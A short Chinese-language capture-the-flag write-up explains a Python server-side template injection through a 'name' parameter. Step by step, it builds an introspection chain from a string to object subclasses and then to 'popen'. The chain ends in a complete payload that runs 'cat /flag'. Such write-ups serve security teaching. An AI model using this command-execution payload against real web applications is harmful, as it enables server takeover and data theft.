提示“名字就是考点”
传参点name
获取字符串的类:
"".__class__
得到
str
的类对象。获取基类:
"".__class__.__bases__[0]
这会得到
str
类的基类列表,其中第一个元素是object
类。获取
object
类的所有子类:
"".__class__.__bases__[0].__subclasses__()
返回一个包含Python中所有类的列表,这些类都是直接或间接从
object
继承的。选择特定的子类:
"".__class__.__bases__[0].__subclasses__()[132]
选择了列表中的第133个元素(因为索引是从0开始的)。
访问
Popen
类的初始化方法的全局变量:"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__
通过访问
Popen
类的__init__
方法的__globals__
属性,可以获得一个字典,其中包含Popen
类定义时可用的所有全局变量。调用
popen
:"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']
从全局变量字典中获取名为
popen
的变量执行系统命令:
"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag')
使用
Popen
类来执行cat /flag
命令,这个命令通常用于读取名为flag
的文件。读取命令输出:
"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()
调用
read()
方法来读取Popen
对象的输出,即cat /flag
命令的输出。?name="".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()